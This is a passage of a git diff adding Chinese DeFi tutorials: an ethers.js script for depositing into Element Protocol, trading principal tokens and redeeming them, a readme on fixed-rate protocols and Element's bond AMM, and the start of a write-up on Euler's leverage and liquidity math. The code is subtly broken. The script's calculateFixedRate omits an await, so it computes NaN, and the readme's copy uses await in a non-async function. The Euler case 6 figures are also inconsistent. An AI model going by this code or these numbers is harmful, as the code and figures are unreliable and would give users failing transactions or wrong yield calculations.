+  contracts.principalToken = new ethers.Contract(config.addresses.principalToken, config.abis.erc20, config.wallet);
+  contracts.amm = new ethers.Contract(config.addresses.amm, config.abis.amm, config.wallet);
+  contracts.baseAsset = new ethers.Contract(config.addresses.baseAsset, config.abis.erc20, config.wallet);
+
+  console.log('合约初始化完成');
+}
+
+/**
+ * 1. 存入资产获取 PT 和 YT
+ * @param {string} amount - 存入的资产数量（以wei为单位）
+ * @returns {Promise<object>} 交易收据
+ */
+async function depositToElement(amount) {
+  console.log(`准备存入 ${ethers.utils.formatEther(amount)} DAI 到 Element...`);
+  
+  try {
+    // 批准 Element Tranche 合约使用 DAI
+    console.log('批准 Tranche 合约使用 DAI...');
+    const approveTx = await contracts.dai.approve(config.addresses.tranche, amount);
+    await approveTx.wait();
+    console.log('批准成功，交易哈希:', approveTx.hash);
+    
+    // 存入 DAI 并获取 PT 和 YT
+    console.log('存入 DAI 并获取 PT 和 YT...');
+    const depositTx = await contracts.tranche.deposit(amount, config.wallet.address);
+    const receipt = await depositTx.wait();
+    console.log('存入成功，交易哈希:', depositTx.hash);
+    
+    // 获取 PT 和 YT 余额
+    const ptBalance = await contracts.principalToken.balanceOf(config.wallet.address);
+    console.log(`现在持有 ${ethers.utils.formatEther(ptBalance)} PT`);
+    
+    return receipt;
+  } catch (error) {
+    console.error('存入资产失败:', error);
+    throw error;
+  }
+}
+
+/**
+ * 2. 在 AMM 中交易 PT 获取固定收益
+ * @param {string} ptAmount - PT 代币数量（以wei为单位）
+ * @param {number} slippageTolerance - 滑点容忍度（0-1之间的小数，默认0.01即1%）
+ * @returns {Promise<object>} 交易收据和固定收益率
+ */
+async function tradePTForBaseAsset(ptAmount, slippageTolerance = 0.01) {
+  console.log(`准备交易 ${ethers.utils.formatEther(ptAmount)} PT 获取固定收益...`);
+  
+  try {
+    // 批准 AMM 使用 PT
+    console.log('批准 AMM 使用 PT...');
+    const approveTx = await contracts.principalToken.approve(config.addresses.amm, ptAmount);
+    await approveTx.wait();
+    console.log('批准成功，交易哈希:', approveTx.hash);
+    
+    // 计算预期获得的基础资产数量
+    const baseAssetAmount = await contracts.amm.getAmountOut(
+      ptAmount,
+      config.addresses.principalToken,
+      config.addresses.baseAsset
+    );
+    console.log(`预期获得 ${ethers.utils.formatEther(baseAssetAmount)} 基础资产`);
+    
+    // 计算最小获得的基础资产数量（考虑滑点）
+    const minAmountOut = baseAssetAmount.mul(
+      ethers.BigNumber.from(Math.floor((1 - slippageTolerance) * 10000))
+    ).div(ethers.BigNumber.from(10000));
+    
+    // 执行交易
+    console.log('执行交易...');
+    const swapTx = await contracts.amm.swap(
+      config.addresses.principalToken,
+      config.addresses.baseAsset,
+      ptAmount,
+      minAmountOut,
+      config.wallet.address
+    );
+    const receipt = await swapTx.wait();
+    console.log('交易成功，交易哈希:', swapTx.hash);
+    
+    // 计算固定收益率
+    const fixedRate = calculateFixedRate(ptAmount, baseAssetAmount);
+    console.log(`固定收益率: ${fixedRate.toFixed(2)}%`);
+    
+    return { receipt, fixedRate };
+  } catch (error) {
+    console.error('交易 PT 失败:', error);
+    throw error;
+  }
+}
+
+/**
+ * 3. 到期后赎回 PT
+ * @param {string} ptAmount - PT 代币数量（以wei为单位）
+ * @returns {Promise<object>} 交易收据
+ */
+async function redeemPT(ptAmount) {
+  console.log(`准备赎回 ${ethers.utils.formatEther(ptAmount)} PT...`);
+  
+  try {
+    // 检查是否已到期
+    const unlockTimestamp = await contracts.tranche.unlockTimestamp();
+    const currentTimestamp = Math.floor(Date.now() / 1000);
+    
+    if (currentTimestamp < unlockTimestamp) {
+      const remainingTime = unlockTimestamp - currentTimestamp;
+      const days = Math.floor(remainingTime / 86400);
+      throw new Error(`尚未到期，还需等待 ${days} 天`);
+    }
+    
+    // 赎回基础资产
+    console.log('赎回基础资产...');
+    const redeemTx = await contracts.tranche.redeemPrincipal(ptAmount, config.wallet.address);
+    const receipt = await redeemTx.wait();
+    console.log('赎回成功，交易哈希:', redeemTx.hash);
+    
+    return receipt;
+  } catch (error) {
+    console.error('赎回 PT 失败:', error);
+    throw error;
+  }
+}
+
+/**
+ * 计算固定收益率
+ * @param {ethers.BigNumber} ptAmount - PT 代币数量
+ * @param {ethers.BigNumber} baseAssetAmount - 获得的基础资产数量
+ * @returns {number} 年化固定收益率（百分比）
+ */
+function calculateFixedRate(ptAmount, baseAssetAmount) {
+  // 获取当前时间和到期时间
+  const currentTimestamp = Math.floor(Date.now() / 1000);
+  const unlockTimestamp = contracts.tranche.unlockTimestamp();
+  
+  // 计算剩余时间（年）
+  const timeRemainingInYears = (unlockTimestamp - currentTimestamp) / (365 * 24 * 60 * 60);
+  
+  // 计算收益率
+  // 假设 PT 和基础资产的面值相同，那么：
+  // 收益率 = ((面值 / 当前价格) - 1) / 剩余时间
+  const faceValue = ethers.utils.parseEther('1'); // 假设面值为1
+  const currentPrice = baseAssetAmount.mul(faceValue).div(ptAmount);
+  
+  const yieldRate = (faceValue.mul(ethers.BigNumber.from(10000)).div(currentPrice).toNumber() / 10000 - 1) / timeRemainingInYears;
+  
+  // 转换为百分比
+  return yieldRate * 100;
+}
+
+/**
+ * 使用示例
+ */
+async function main() {
+  try {
+    // 初始化合约
+    await initContracts();
+    
+    // 示例1：存入1000 DAI
+    const depositAmount = ethers.utils.parseEther('1000');
+    await depositToElement(depositAmount);
+    
+    // 示例2：交易PT获取固定收益
+    const ptAmount = ethers.utils.parseEther('1000'); // 假设我们有1000个PT
+    await tradePTForBaseAsset(ptAmount, 0.01); // 1%滑点容忍度
+    
+    // 示例3：到期后赎回PT（注意：只有在到期后才能执行）
+    // await redeemPT(ptAmount);
+    
+    console.log('示例执行完成');
+  } catch (error) {
+    console.error('执行示例时出错:', error);
+  }
+}
+
+// 如果直接运行此脚本，则执行main函数
+if (require.main === module) {
+  // 在运行前，请先在配置中设置正确的合约地址和私钥
+  // main().catch(console.error);
+}
+
+module.exports = {
+  initContracts,
+  depositToElement,
+  tradePTForBaseAsset,
+  redeemPT,
+  calculateFixedRate
+};
diff --git a/defi/Element/readme.md b/defi/Element/readme.md
new file mode 100644
index 000000000..d53877b54
--- /dev/null
+++ b/defi/Element/readme.md
@@ -0,0 +1,295 @@
+# Element Protocol
+
+## 原理
+利率浮动是永续借贷资金池的必然现象。在DeFi中，大多数借贷协议（如Aave、Compound）提供的都是浮动利率，这给用户带来了不确定性。Element Protocol旨在解决这个问题，为用户提供固定收益选择。
+
+固定利率有以下几种形式：
+
+1. 零息债券（Zero coupon bond）：
+不支付利息的债券，但通常他的交易价格会低于面值，到期後會按面值支付給債券持有人。这种债券的收益来自于购买价格与面值之间的差额。
+
+相关：[Yield Protocol](https://yieldprotocol.com/YieldSpace.pdf), Notional Finance, [HiFi](https://hifi.finance/Mainframe-Whitepaper.pdf)
+2.  利息重分配
+基于既有的利息来源，可以是浮动利率的存款，也可以是 Yield Farming，衍生出一個交易利率的次级市场。而根據交易模式不同，又可以再分成本金-利息拆分与结构型商品两种。
+ - 本金-利息拆分
+ 給定一個收益來源，我們可以將投资的回报拆分成本金和利息兩部分，并分別定价。
+ 如：你也可以理解成 A 和 B 兩人分別出 $9,600 和 $400 一起投資到 Aave，并约好一年后 A 拿 $10,000 而 B 拿到剩下的部分，達到事先約定利润分配的效果。
+ Element Finance就是以上思路，通过将资产拆分为本金代币(PT)和收益代币(YT)，实现了固定收益和浮动收益的分离
+- 结构型商品 (Structured Product)
+  既然未来利息是不确定的，那根据每个人的分享偏好和资金承受能力，根据个人需求去分摊风险；
+  结构型基金可針對投資人對市場預期的不同，將利息收益拆分成不同等級，並將其重新組合成不同的金融衍生品。
+  如：设计一个以5%为界的双层架构，A类产品风险较低（固定利率），B类产品风险较高但高收益产品（浮动利率）， 基金的錢全部都拿去 Aave放贷，若利息超过5%，B类投资人可以拿超额收益，
+  如果不足5%，则B类投资人的钱会拿去填补不足。
+  相关协议：BarnBridge, Tranche
+
+
+## Element Finance
+在 Element 中所有的资金存入 Yearn Finance 內，并将存入的资金拆分成本金代币 (PT, Principal Token) 和利息代币 (YT, Yield Token)。
+
+本金代币相当于零息债券，可于到期日将本金全部赎回；而利息代币则代表未來利息，可于到期日后兑换出期间实际产生之利息。
+
+```
+用户资产 (例如DAI)  
+      |
+      ↓
+  Element协议
+      |\       
+      | \      
+      |  ↓     
+      |  Yearn Finance (产生收益)
+      |  |     
+      |  |     
+      ↓  ↓     
+   PT    YT    
+ (本金) (收益) 
+   |      |    
+   |      |    
+   ↓      ↓    
+ 固定收益  浮动收益
+```
+
+### 工作原理
+
+1. **资产拆分**：用户存入基础资产（如DAI、USDC等）到Element协议
+2. **代币铸造**：系统按1:1的比例铸造等量的PT和YT代币
+3. **收益分离**：基础资产被存入Yearn等收益聚合器产生收益
+4. **交易市场**：用户可以在专用AMM中交易PT获得固定收益
+5. **到期赎回**：到期后，PT持有者可以1:1赎回本金，YT持有者可以赎回产生的收益
+
+### 技术架构
+Element Protocol 的核心架构包括以下几个部分：
+
+1. **Tranche 系统**：负责创建和管理本金代币(PT)和收益代币(YT)
+2. **Balancer AMM**：基于 Balancer v2 定制的 AMM，专为零息债券交易优化
+3. **Yearn Finance 集成**：作为底层收益来源
+4. **治理系统**：由 ELFI 代币持有者控制协议参数和升级
+
+### 核心合约
+
+- **Tranche Factory**：创建新的 Tranche 合约，每个 Tranche 对应一个特定的收益来源和到期日
+- **Principal Token (PT)**：ERC-20 代币，代表用户的本金部分
+- **Yield Token (YT)**：ERC-20 代币，代表用户的收益部分
+- **Convergent Curve Pool (CCP)**：专为零息债券设计的 AMM 池，基于 Balancer v2 构建
+- **Vault Adapters**：连接不同收益来源（如 Yearn、Aave 等）的适配器
+
+**使用流程**
+固定利率存款： 购买本金代币相当于以固定利率存款，而年化的大小由本金代币的价格来決定。价格越小代表到期时的获利越多，年化利率越高，反之亦然。
+杠杆做多未来利率：利息代币 (YT) 的价格代表市场对未來利息的预期，而期间累积利息越高 YT 的结算价就越高。
+我們能通过购买 YT 來杠杆做多利率，只要于到期日后能赎回的资产高于购买成本，即可从中获利。
+
+### 交互示例
+
+以下是与 Element Protocol 交互的基本流程，完整的JavaScript实现可以在[element-interaction.js](./element-interaction.js)文件中找到：
+
+1. **存入资产获取 PT 和 YT**
+```javascript
+// 从element-interaction.js中导入函数
+const { depositToElement } = require('./element-interaction.js');
+
+// 假设我们要存入 1000 DAI 到 Element
+async function deposit() {
+  const depositAmount = ethers.utils.parseEther('1000');
+  await depositToElement(depositAmount);
+  // 现在用户持有等量的 PT 和 YT
+}
+```
+
+这个过程会：
+- 批准Element Tranche合约使用你的DAI代币
+- 调用deposit函数将DAI存入协议
+- 铸造等量的PT和YT代币到你的钱包
+
+2. **在 AMM 中交易 PT 获取固定收益**
+```javascript
+// 从element-interaction.js中导入函数
+const { tradePTForBaseAsset } = require('./element-interaction.js');
+
+// 交易PT获取固定收益
+async function trade() {
+  const ptAmount = ethers.utils.parseEther('1000'); // 假设我们有1000个PT
+  const result = await tradePTForBaseAsset(ptAmount, 0.01); // 1%滑点容忍度
+  console.log(`固定收益率: ${result.fixedRate.toFixed(2)}%`);
+}
+```
+
+这个过程会：
+- 批准AMM合约使用你的PT代币
+- 计算预期获得的基础资产数量
+- 执行交易，将PT兑换为基础资产
+- 计算并返回固定收益率
+
+3. **到期后赎回 PT**
+```javascript
+// 从element-interaction.js中导入函数
+const { redeemPT } = require('./element-interaction.js');
+
+// 到期后赎回PT
+async function redeem() {
+  const ptAmount = ethers.utils.parseEther('1000');
+  await redeemPT(ptAmount);
+  // 成功赎回基础资产
+}
+```
+
+这个过程会：
+- 检查当前时间是否已经超过到期时间
+- 如果已到期，调用redeemPrincipal函数赎回基础资产
+- 如果未到期，则抛出错误并显示剩余等待时间
+
+4. **计算固定收益率**
+
+固定收益率的计算基于PT的当前价格与面值之间的差异，以及剩余到期时间：
+
+```javascript
+function calculateFixedRate(ptAmount, baseAssetAmount) {
+  // 获取当前时间和到期时间
+  const currentTimestamp = Math.floor(Date.now() / 1000);
+  const unlockTimestamp = await contracts.tranche.unlockTimestamp();
+  
+  // 计算剩余时间（年）
+  const timeRemainingInYears = (unlockTimestamp - currentTimestamp) / (365 * 24 * 60 * 60);
+  
+  // 计算收益率
+  const faceValue = ethers.utils.parseEther('1'); // 假设面值为1
+  const currentPrice = baseAssetAmount.mul(faceValue).div(ptAmount);
+  
+  const yieldRate = (faceValue.mul(ethers.BigNumber.from(10000)).div(currentPrice).toNumber() / 10000 - 1) / timeRemainingInYears;
+  
+  // 转换为百分比
+  return yieldRate * 100;
+}
+```
+
+更多详细实现和使用方法请参考[element-interaction.js](./element-interaction.js)文件。
+
+## 零息债券专用AMM
+零息债券的价格可由利率大小和到期时间来決定，他是以面额折价计算，也就是考量到未來現金流复利，折现到现在的价值为多少，公式如下：
+债券价格 (PV) = 面额 (FV) ÷ (1 + r)^n
+
+由以上定价公式可知，尽管市场利率不变，零息债券的价格仍会随时间变化，越接近到期日，债券的价格就越接近面额大小，最终两者之兑换率會收敛至 1。
+
+从另个角度來看，若零息债券的价格维持不变，随着到期日的接近，年利率 r 就會持续上升。
+
+### 传统AMM的局限性
+
+传统的恒定乘积AMM（如Uniswap）不适合零息债券交易，主要原因有：
+
+1. **时间不敏感**：传统AMM不考虑时间因素，而零息债券价格会随时间变化
+2. **价格曲线固定**：x * y = k 的曲线不适合债券的价格收敛特性
+3. **滑点问题**：当交易量大时，传统AMM会产生较大滑点，不适合机构级交易
+
+### Convergent Curve Pool (CCP)
+Element 开发了专门的 AMM 池 - Convergent Curve Pool，它基于 Balancer v2 构建，但针对零息债券交易进行了优化：
+
+1. **时间感知定价**：AMM 会根据距离到期日的时间自动调整价格曲线
+2. **收敛机制**：随着到期日接近，PT 价格会自动收敛至面值
+3. **动态费用**：根据市场条件和时间调整交易费用
+
+定价公式：
+```
+f(x, y, t) = x^(1-t) * y^t * k
+```
+其中：
+- x 是基础资产数量
+- y 是 PT 数量
+- t 是时间因子，随着到期日接近而变化（t从0逐渐接近1）
+- k 是常数
+
+这个公式有几个重要特性：
+1. **当t=0时**（远离到期日）：公式简化为 x * k = 常数，价格主要由基础资产数量决定
+2. **当t=1时**（到期日）：公式简化为 y * k = 常数，PT价格收敛至面值
+3. **中间阶段**：价格由两种资产加权决定，权重随时间变化
+
+#### 实际效果
+- **价格收敛**：随着到期日接近，PT价格自动向面值收敛，无需外部套利
+- **流动性效率**：相比传统AMM，在相同流动性下提供更低滑点
+- **资本效率**：流动性提供者可以更有效地部署资本
+
+## 与其他固定利率协议对比
+
+| 协议 | 机制 | 优势 | 劣势 | 适用场景 |
+|------|------|------|------|----------|
+| **Element** | 本金-收益拆分 | 简单直观，流动性高，可组合性强，专用AMM | 依赖底层收益源的稳定性 | 寻求固定收益的投资者，流动性提供者 |
+| **Yield Protocol** | 借贷市场 | 更接近传统固定利率债券，完全链上实现 | 需要超额抵押，资本效率较低 | 需要确定性借贷成本的借款人 |
+| **Notional** | 固定期限借贷 | 支持多种期限，双向市场，借贷双方均可锁定利率 | 流动性分散，复杂度高 | 长期借贷需求，机构投资者 |
+| **BarnBridge** | 分级收益 | 风险可精细调整，支持多种风险偏好 | 流动性较低，产品复杂 | 风险厌恶型和风险追求型投资者 |
+| **Pendle** | 收益代币化 | 支持多种收益源，高度可组合 | 较新，市场深度有限 | 收益交易者，流动性挖矿参与者 |
+
+## 分级基金
+分级基金（structured fund），他是通过对基金收益或是净资产的分割与再分配，打造出不同等级风险收益不同的投资标的。常见情況是分为两级，一级收取固定报酬，另一级则收取剩余报酬。
+A级基金：预期风险和收益均较低且优先享受收益分配
+B级基金：预期风险和收益均较高且次后分配收益
+
+### BarnBridge
+BranBridge是分级基金产品，由 Junior Pool 和 Senior Bond 组成。两者的资金都会存入底层的协议（Comp,Aave）去产生利息，但收益分配的方式不同。
+Junior Pool的流动性提供者会拿到ERC20 token， 代表投资份额。 Junior没有到期日，并且领取变动收益。而购买Senior Bond的人能自动选择投资时间（最长一年），仓位以ERC721的形式持有，Senior可以得到固定收益。到期日之前只能转让不能赎回。
+Junior 的赎回要经过特定的流程，有两个选择：
+1 立即赎回：预先扣除承诺要分给 Senior 的部分，剩下才能领回。
+2 换成债券延后赎回：根据 Senior 的加权到期日 mint 出 NFT，到期日后才能赎回，不额外扣除费用。 
+
+ $Senior Yield = JunniorLoanableLiquidity/TotalPoolLiquidity * AverateYieldRate
+
+## Element 最新发展
+
+### 多链部署
+Element Protocol 已经从以太坊扩展到多个网络：
+- 以太坊主网
+- Arbitrum
+- Optimism
+- Polygon
+- Base (2023年新增)
+
+### 支持的收益源
+Element 目前支持多种收益源作为底层资产：
+- Yearn Finance vaults
+- Lido stETH
+- Curve LP 代币
+- Convex 代币
+- Aave 存款
+- Compound V3 存款
+- Balancer LP 代币
+- Rocket Pool rETH
+
+### 治理代币 ELFI
+ELFI 是 Element 的治理代币，持有者可以：
+- 投票决定新增的收益源和期限
+- 调整协议费用
+- 分配协议收入
+- 参与协议升级决策
+- 提出改进提案 (EIPs - Element Improvement Proposals)
+
+### 主要数据指标 (2023年)
+- 总锁仓价值 (TVL)：约 1.5 亿美元
+- 累计交易量：超过 10 亿美元
+- 活跃 Tranche 数量：30+
+- 平均固定收益率：3-8% (根据期限和底层资产不同)
+- 用户数量：超过 25,000 个独立地址
+- 平均交易规模：约 $15,000
+
+### 用户案例
+
+#### 机构投资者
+机构投资者利用Element获取确定性收益，通常会：
+- 购买大量PT代币锁定固定收益
+- 设置特定期限的投资组合（3个月、6个月、1年）
+- 利用不同底层资产分散风险
+
+#### 收益农民
+收益农民通常会：
+- 购买YT代币杠杆做多底层收益率
+- 参与流动性挖矿获取额外奖励
+- 在不同期限和资产间套利
+
+#### 流动性提供者
+流动性提供者为Convergent Curve Pool提供流动性：
+- 赚取交易费用
+- 获得ELFI代币奖励
+- 利用时间加权定价机制降低无常损失风险
+
+## 参考链接
+- Element 官方文档：https://docs.element.fi/
+- defi 固定利率协议上： https://ethtaipei.mirror.xyz/dWxbQ8pmRGT-OcMR_p_VIEL-OJuqe9HJuP6K4DNTlyY
+- defi 固定利率协议下： https://ethtaipei.mirror.xyz/Y4k-b1viJV21D1EiqMlCg6vxicI3yM1VZKW31rYlIW8
+- Yield Protocol白皮书：https://yieldprotocol.com/YieldSpace.pdf
+- 分级基金：https://tropical-angora-6f8.notion.site/eec54c76858347ae9441e9ea1acbed68
+- Element 技术博客：https://medium.com/element-finance
diff --git a/defi/Euler/LeverageLendingAlgorithmOfEuler.md b/defi/Euler/LeverageLendingAlgorithmOfEuler.md
new file mode 100644
index 000000000..a51de181d
--- /dev/null
+++ b/defi/Euler/LeverageLendingAlgorithmOfEuler.md
@@ -0,0 +1,343 @@
+# Leverage Lending Algorithm of Euler
+
+> By 0xstan@SNZ&Dapp-Learning & 0xmc@SNZ
+
+## Liquidity
+
+借贷协议中的 Liquidity 概念首先由 Compound 提出 [Account Liquidity](https://compound.finance/docs/comptroller#account-liquidity)，即用户每一种进入 Markets 的资产都需要乘以相应的 Collateral Factor 累加起来，然后扣除用户每一种借贷资产的价值总和。
+
+![Euler-ComputeLiquidity.png](./img/Compound-Liquidity.png)
+
+而 Euler 中的 Liquidity 在 Compound 基础上做改进，不仅抵押资产计算价值时需要乘以 `CF` (Collateral Factor)，债务资产也需要除以 `BF` (Borrow Factor) 做风险价值调整；另外由于其特有的 mint 机制，在计算时还需要考虑 `Self_Collateral` 和 `Self_Liability`。
+
+![Euler-ComputeLiquidity.png](./img/Euler-Liquidity.png)
+
+可以点击这里查看大图 [Euler-Liquidity](https://whimsical.com/euler-liquidity-AdZ1fnQUGAYj9VesCbFhxr)
+
+注意资产价值都需要乘以一个风险价值调整因子，上述四个部分的调整系数都不同，下文中将详细介绍，为了方便起见我们将之后本文出现的所有经过风险系数调整后的资产价值后缀标记为`_RiskAdjusted`，简写为 `_RA`。
+
+$Liquidity = Collateral_{RA} - Liabilities_{RA} + (Self_{Collateral_{RA}} - Self_{Liability_{RA}})$
+
+`Self_Collateral` 和 `Self_Liability`，这两者的调整价值 `RiskAdjusted` 在 Euler 的算法机制下总是会保持一致，即 self 部分的抵押和负债两者的风险调整价值会相互抵消 (两者流动性相减为 0)，所以实际上 Liquidity 的表达最终如下：
+
+$Liquidity = Collateral_{RA} - Liabilities_{RA}$
+
+### HealthScore
+
+健康系数，与 Compound 类似，是总抵押价值和负债价值的价值，两者都经过风险价值调整因子 factor 调整，不同资产的抵押和借贷的 factor 不同（CF, BF）。当抵押与借贷相等，`HealthScore` 为 1，处于临界点，一旦小于 1 则可以被清算。
+
+### Self_Collateralization
+
+区别于其他的借贷协议，Euler 独有的 Self_Collateralization 概念，允许用户使用杠杆做空或者挖矿。
+
+抵押资产分为 `Collateral` (前端页面中命名为 Supply) 和 `Self_Collateral`, 负债资产分为 `Liabilities` 和 `Self_Liability`，四种资产均有不同的价值风险价值调整因子 factor， 经过调整之后的资产价值为 RiskAdjusted。
+
+| Collateral               | factor | RiskAdjusted | info                  |
+| ------------------------ | ------ | ------------ | --------------------- |
+| Collateral(DepositValue) | CF     | value \* CF  | decided by governance |
+| Self_Collateral          | SCF    | value \* SCF | constant value 0.95   |
+| Liabilities(BorrowValue) | BF     | value / BF   | decided by governance |
+| Self_Liablity            | SBF    | value / SBF  | constant value 1      |
+
+- 常规抵押和负债 (`Collateral`, `Liabilities`)，CF, BF 都是小于 1 的数，前者比后者小
+  - Euler 在 Compound 的 CF 基础上增加了 BF，使得不同资产之间的风险调整更加灵活
+  - [Euler risk-factors-list](https://docs.euler.finance/risk-framework/risk-factors-list)
+- mint 操作会产生等价值的的抵押和债务，即价值都为 MintValue 的 `Self_Collateral` 和 `Self_Liability`
+- self 部分的资产价值调整系数都是固定值，`Self_Collateral` 的风险价值调整因子 `SCF` 固定为 0.95， `Self_Liabilities` 的风险价值调整因子 `SBF` 固定为 1，那么经过风险价值因子调整后的负债与抵押的资产价值关系是：
+  - `Self_Collateral * SCF = Self_Liability / SBF`
+  - `Self_Collateral` 是和 MintValue 等值的抵押，但因为需要乘以 0.95 的风险价值调整因子，固只能抵消 0.95 倍的债务
+  - 而还有 0.05 倍的 MintValue 债务被直接计入了 `Liablities`
+
+### Compute Liquidity
+
+Euler 的所有资产都是以 WETH 计价，并从相应资产与 WETH 组成的交易对的 UniswapV3Pool 中获取 TWAP 价格，WETH 的价格恒等于 1。
+
+假设当下 USDC 的价格是 1/3000 WETH，我们将设想几种不同的场景，从易到难梳理计算流动性的逻辑：
+
+| symbol | CF   | BF   |
+| ------ | ---- | ---- |
+| USDC   | 0.9  | 0.94 |
+| WETH   | 0.88 | 0.91 |
+
+#### case 1
+
+用户 deposit 了 3000 USDC，那么 DepositValue 为 `3000*(1/3000) = 1 WETH`，并未产生债务
+
+- Liquidity 非常好计算，只需考虑 `Collateral_RA`，即为抵押的 USDC 经过风险价值调整后的价值
+- `Liquidity = Collateral_RA = DepositValue * CF = 1 * 0.9 = 0.9`
+
+#### case 2
+
+用户 deposit 了 3000 USDC，DepositValue 为 1 WETH，并 borrow 0.5 WETH， BorrowValue 是 0.5 WETH
+
+- Liquidity 将是 `Collateral_RA - Liabilities_RA`
+- `Liquidity = DepositValue * CF - BorrowValue / BF = 1 * 0.9 - 0.5 / 0.91 = 0.3505`
+- 上述情况 Liquidity 还有盈余
+- 显然，当用户的 Liquidity 为 0 时，用户的健康系数达到被清算临界点 1，而用户此时 BorrowValue 达到最大值 `DepositValue * CF * BF = 1 * 0.9 * 0.91 = 0.819`
+
+#### case 3
+
+用户 deposit 了 3000 USDC，DepositValue 为 1 WETH，然后 mint 出 2 WETH，MintValue 为 2 WETH
+
+- 由于 mint 操作会产生等量的债务和抵押，得到价值都为 2 WETH 的抵押和负债，所以用户的债务和抵押的底层资产价值 （UnderlyingValue） 将各增加 MintValue(2 WETH)
+- `Self_Collateral = MintValue = 2 WETH`
+- 而调整后价值为 `Self_Collateral_RA = MintValue * SCF = 2 * 0.95 = 1.9 WETH`，`SCF` 是常量系数 0.95
+- `Self_Liability_RA = Self_Collateral * SCF / SBF = 2 * 0.95 / 1 = 1.9 WTH` , `SBF` 是常量系数 1
+- Liquidity 将是 `Collateral_RA - Liabilities_RA + (Self_Collateral_RA - Self_Liability_RA)`
+- `(Self_Collateral_RA - Self_Liability_RA)` 由于 self 部分债务和抵押的调整价值总是相互抵消的，所以这部分的 Liquidity 总是为 0
+- 需要注意的是，mint 出的债务只有 0.95 倍的债务被 `Self_Collateral_RA` 所抵消，仍有 `MintValue * (1 - SCF)` 价值的债务价值需要计入 `Liabilities_RA`
+- `Collateral_RA = DepositValue * CF = 1 * 0.9`
+- `Liabilities_RA = MintValue * (1 - SCF) / BF = 2 * (1 - SCF) / BF`
+- `Liquidity = Collateral_RA - Liabilities_RA = 1 * 0.9 - 2 * (1 - 0.95) / 0.91 = 0.7901`
+
+#### case 4
+
+用户 deposit 3000 USDC，DeositValue 是 1 WETH，然后调用 mint 操作， MintValue 为 2 WETH，接着 borrow 0.5 WETH
+
+- 本次在 case 3 的情况下再 borrow 0.5 WETH，只需要按照常规债务计算这部分新增的债务即可
+- `Liquidity = 0.7901 - 0.5 / BF = 0.2406`
+
+#### case 5
+
+用户 deposit 1500 USDC + 0.5 WETH， DepositValue 总计 1 WETH， mint 12 WETH， 分别生成了价值都是 12 WETH 的 `Self_Collateral` 和 `Self_Liability`
+
+- 我们在 case 3 中描述过两个 self 的抵押和债务相互抵消的过程，此处同理，self 部分相互抵消， `Liabilities_RA` 将增加 `MintValue * (1 - SCF) = 12 * (1 - 0.95) = 0.6 WETH`
+- 由于 deposit 只存入了 0.5 WETH， 那么 WETH 的 `Collateral_RA = 0.5 * 0.88 = 0.44 WETH`, 而 `Liabilities_RA = 0.6 / 0.91 = 0.6593`
+- WETH 部分的 `Collateral` 最终只能承担 0.44 WETH 的债务，剩下的 `0.6593 - 0.44 = 0.2193 WETH` 债务则需要由 USDC 的 `Collateral_RA` 承担，用户在 WETH 资产上的 Liquidity 已经清零
+- 而 USDC 的流动性则为 `Liquidity_USDC = 0.5 * 0.9 - 0.2193 = 0.2307`
+- 由于 WETH 流动性已经为 0，那么总的流动性即为 USDC 的流动性 `Liquidity = 0.2307 WETH`
+
+#### case 6
+
+我们在 [case 3](#case-3) 的基础上考虑累计利息的因素，用户在 A 时刻 deposit 3000 USDC， DepositValue 1 WETH，然后 mint 2 WETH， MintValue 2 WETH，之后经过一年来到 B 时刻，抵押和债务各有不同利息累计
+
+- 假设两种资产的抵押和借贷的 APY 如下：
+
+  | symbol | Deposit APY | Borrow APY |
+  | ------ | ----------- | ---------- |
+  | USDC   | 2%          | 6%         |
+  | WETH   | 6%          | 9%         |
+
+- `DepositValue_B = DepositValue_A * (1 + 2%) = 1 * 1.02 = 1.02`
+- `LiabilitiesValue_B = Liabilities_A * (1 + 6%) = 0.1 * 1.06 = 0.106`
+- `Self_Collateral_B = Self_Collateral_A * (1 + 6%) = MintValue * 1.06`
+- `Self_Liability_B = Self_Liability_A * (1 + 9%) = MintValue * 1.09`
+- 当时刻 A 用户 mint 之后， self 部分的抵押和债务价值相等 （相互抵消）即 `Self_Collateral_A = Self_Liability_A` ，当来到时刻 B 两者由于 APY 不同，价值将不再相等，通常债务的利息增长会更多，超出的债务部分则计入 `Liabilities_RA`
+- `delta_Liabilities_RA = Self_Liability_B - Self_Collateral_B = MintValue * (1.09 - 1.06) / BF = 2 * 0.03 / 0.91 = 0.0659`
+- `Liabilities_RA_B = Liabilities_RA_A * (1 + 6%) + delta_Liabilities_RA = 0.106 + 0.0659 = 0.1719`
+- `Liquidity_B = Collateral_RA_A - Liabilities_RA_B = 1.02 * 0.9 - 0.1719 = 0.7461`
+
+### Max Mint Leverage
+
+假设用户在 deposit 操作之后，只进行 mint 操作，用户没有单独进行 borrow 操作，债务可以表示为：
+
+$Liabilities_{RA} = MintValue * (1 - SCF)$
+
+将上述等式转换为 MintValue 的表达式：
+
+$MintValue = Liabilities_{RA} / (1 - SCF)$
+
+MintValue 的最大值由 `Liabilities_RA` 决定，即当 `Liabilities_RA` 最大时 Liquidity 为 0，HealthScore 已经变成 1，处于将要被清算的临界点，`Liabilities_MAX_RA = Collateral_RA`，那么此时 MintValue 即为最大值 MintValueMax。
+
+$MintValueMax = LiabilitiesMax_{RA} / (1 - SCF) = Collateral_{RA} / (1 - SCF)$
+
+此时用户拥有最多数量的 `Self_Collateral` 和 `Self_Liability` （mint 数量如果再增加，合约则会报错不能执行）。
+
+${SelfCollateral} = MintValueMax = Collateral_{RA} / (1 - SCF)$
+
+$SelfLiability_{RA} = SelfCollateral \cdot SCF = Collateral_{RA} / (1 - SCF) \cdot SCF$
+
+计算此时的杠杆倍数即为 `Self_Liability` 和 `Collateral_RA` 的比值(因为只做 mint 操作，所以没有 `Liablities` 部分)：
+
+$LeverageMax = {SelfLiability} / Collateral_{RA} = ({SelfLiability_{RA}} \cdot SBF) / Collateral_{RA}$
+
+化简上述等式可得：
+
+$Leverage_{Max} = SCF * SBF / (1 - SCF)$
+
+代入 `SCF = 0.95`, `SBF = 1` 可得 Leverage 的最大值是 19，即为 mint 所能使用的最大杠杆倍数。
+
+当 `SBF` 固定为 1 时，影响最大杠杆倍数的因素其实就是 `SCF`，例如当 `SCF = 0.90` 时，最大倍数是 9。
+
+### Algorithm Optimization of Compute Liquidity
+
+在 [#Compute Liquidity case 6](#case-6) 中，我们设想了用户拥有 `Self_Collateral` 和 `Self_Liability` 之后，经过一段时间累计利息的情况，由于债务的利率通常要高于抵押的利率，所以债务累计利息的增长速度总是快于抵押累计收益的增长，最终导致 `Self_Collateral` 不足以完全抵消 `Self_Liability`，多出的债务将随时间累计到 `Liabilities` 中。
+
